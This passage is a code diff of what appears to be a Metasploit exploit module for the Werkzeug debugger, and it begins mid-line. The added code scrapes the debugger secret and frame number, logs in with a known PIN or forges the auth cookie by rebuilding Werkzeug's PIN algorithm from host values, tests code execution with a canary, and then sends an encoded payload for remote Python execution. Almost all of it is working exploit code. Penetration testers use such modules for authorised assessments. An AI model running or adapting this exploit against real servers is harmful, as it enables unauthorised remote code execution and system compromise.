"REQUESTBODY set but METHOD ('#{datastore['METHOD']}') does not support a request body" + ) end - def exploit - # first we need to get the SECRET code + # Retrieve secret and frame + def secret_and_frame res = send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']) + 'method' => datastore['METHOD'], + 'uri' => normalize_uri(target_uri), + 'data' => (datastore['REQUESTBODY'] if METHODS_WITH_BODY.include?(datastore['METHOD'])), + 'ctype' => (datastore['REQUESTCONTENTTYPE'] if datastore['REQUESTBODY']) ) + unless res + print_error "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}" + return + end + + # Regex hell. Considered an HTML parser here but regex would still be needed to parse the JavaScript + # A redundant escape is required to work around broken syntax highlighting in Sublime Text + # rubocop:disable Style/RedundantRegexpEscape + /(?:EVALEX\ =\ (?true),.*?)? # Code execution in debugger enabled + (?:EVALEX_TRUSTED\ =\ (?false),.*)? # Pin required if 'false' matches. This technique supports v0.10- + SECRET\ =\ \"(?[a-zA-Z0-9]{20})"; # Secret + (?:.*? id="frame-(?[0-9]+)")? # Frame number, if it exists (i.e. if debugger) + .*Werkzeug\ powered\ traceback\ interpreter # Service Identifier + /mx.match(res.body) + # rubocop:enable Style/RedundantRegexpEscape + end - if res && res.body =~ /SECRET = "([a-zA-Z0-9]{20})";/ - secret = $1 - vprint_status("Secret Code: #{secret}") + # Authenticate with PIN to retrieve cookie + def cookies(secret) + res, duration = Rex::Stopwatch.elapsed_time do send_request_cgi( - 'method' => 'GET', - 'uri' => normalize_uri(datastore['TARGETURI']), + 'uri' => normalize_uri(target_uri), 'vars_get' => { '__debugger__' => 'yes', - 'cmd' => payload.encoded, - 'frm' => '0', - 's' => secret + 'cmd' => 'pinauth', + 'pin' => datastore['PIN'], + 's' => secret } ) - else - print_error('Secret code not detected.') end + unless res + fail_with(Failure::TimeoutExpired, + "Unable to connect to http#{'s' if datastore['SSL']}://#{datastore['RHOST']}:#{datastore['RPORT']}") + end + if res.get_json_document['exhausted'] + fail_with(Failure::NoAccess, + "Failed to authenticate using PIN: #{datastore['PIN']}. PIN authentication attempts " \ + 'exhausted. The remote application must be restarted to re-enable PIN authentication.') + end + unless COOKIE_PATTERN =~ res.get_cookies + attempts_text = duration < 5 ? 'at least' : 'fewer than' + fail_with(Failure::NoAccess, + "Failed to authenticate using PIN: #{datastore['PIN']}. However, the application did not report " \ + 'failed authentication exhaustion count has been reached. The time taken to receive a response ' \ + "indicates that #{attempts_text} 5 more attempts can be made before PIN authentication is disabled " \ + 'which would require the application to be restarted to re-enable PIN authentication.') + end + res.get_cookies + end + + def generated_cookie + # Ported from https://github.com/pallets/werkzeug/blob/main/src/werkzeug/debug/__init__.py + digest = target.opts[:digest].new + digest << datastore['SERVICEUSER'] + digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s if target.opts[:digest_inputs] == :old + digest << datastore['MODULENAME'] + digest << datastore['APPNAME'] + digest << datastore['FLASKPATH'] + if target.opts[:digest_inputs] == :new + digest << datastore['MACADDRESS'].delete(':-').to_i(16).to_s + digest << datastore['MACHINEID'] + cgroup = datastore['CGROUP'].split('/') + digest << cgroup[2] if cgroup[2] + end + digest << 'cookiesalt' + case target.opts[:digest_inputs] + when :new + cookie_key = "__wzd#{digest.hexdigest[0..19]}" + digest << 'pinsalt' + when :old + cookie_key = "__wzd#{digest.hexdigest[0..11]}" + end + pin = digest.hexdigest.to_i(16).to_s[0..8].scan(/.{3}/).join '-' + print_status "Generated authentication PIN: #{pin}" + expiry = '9999999999' # Sat, 20 Nov 2286 17:46:39 +00:00 (!) + case target.opts[:digest_inputs] + when :new + cookie_value = digest.hexdigest("#{pin}#{target.opts[:salt]}")[0, 12] + cookie = "#{cookie_key}=#{expiry}|#{cookie_value}" + when :old + cookie = "#{cookie_key}=#{expiry}" + end + print_status "Generated authentication cookie: #{cookie}" + cookie + end + + def execute_python(cmd, secret, frame, cookies = '') + send_request_cgi( + 'method' => 'GET', + # Path without querystring because triggering debugger may have required parameters + 'uri' => normalize_uri(target_uri.path), + 'vars_get' => { + '__debugger__' => 'yes', + 'cmd' => cmd, + 's' => secret, + 'frm' => frame + }, + 'cookie' => cookies + ) + end + + def check_code_exec(secret, frame, cookies = '') + canary = rand + execute_python(canary, secret, frame, cookies).body.start_with? ">>> #{canary}" + end + + def check + c = config_invalid? + return c if c + + match = secret_and_frame + unless match + return CheckCode::Unknown('HTTP response not recognised as Werkzeug') + end + unless match[:evalex_enabled] + return CheckCode::Safe('Debugger does not allow code execution') + end + + print_status 'Debugger allows code execution' + if match[:pin_required] + return CheckCode::Detected('Debugger requires authentication') + end + + print_status 'Debugger does not require authentication' + # Now check whether code execution is possible by evaluating something + unless check_code_exec(match[:secret], match[:frame] || 0) + return CheckCode::Safe('Attempted code execution failed') + end + + CheckCode::Vulnerable('Code execution was successful') + end + + def exploit + # First we try to get the SECRET code (and frame number if debugger rather than console) + fail_with(Failure::UnexpectedReply, 'Werkzeug "Secret" could not be retrieved') unless (match = secret_and_frame) + vprint_status "Secret Code: #{match[:secret]}" + vprint_status "Frame: #{match[:frame] || 0}" # Frame should be set to 0 if not in response (e.g. if using console) + + case datastore['AUTHMODE'] + when 'known-PIN' + cookies = cookies match[:secret] + vprint_status "Authenticated using PIN: #{datastore['PIN']}" + print_status "Retrieved authentication cookie: #{cookies}" + when 'known-cookie' + cookies = datastore['cookie'] + when 'generated-cookie' + cookies = generated_cookie + end + + # Check whether code execution is possible by evaluating something + unless check_code_exec(match[:secret], match[:frame] || 0, cookies) + fail_with(Failure::NoAccess, 'Response indicates that code execution failed') + end + vprint_status 'Code execution was successful. Sending payload.' + + # Send the payload to the debugger along with the values extracted from the previous response + res = execute_python(payload.encoded, match[:secret], match[:frame] || 0, cookies) + unless res.body.start_with? '>>> ' + fail_with(Failure::PayloadFailed, 'Response indicates that payload has not been executed sucessfully') + end + vprint_status 'Response indicates that payload has been executed. Note: This does not indicate a lack of errors' end end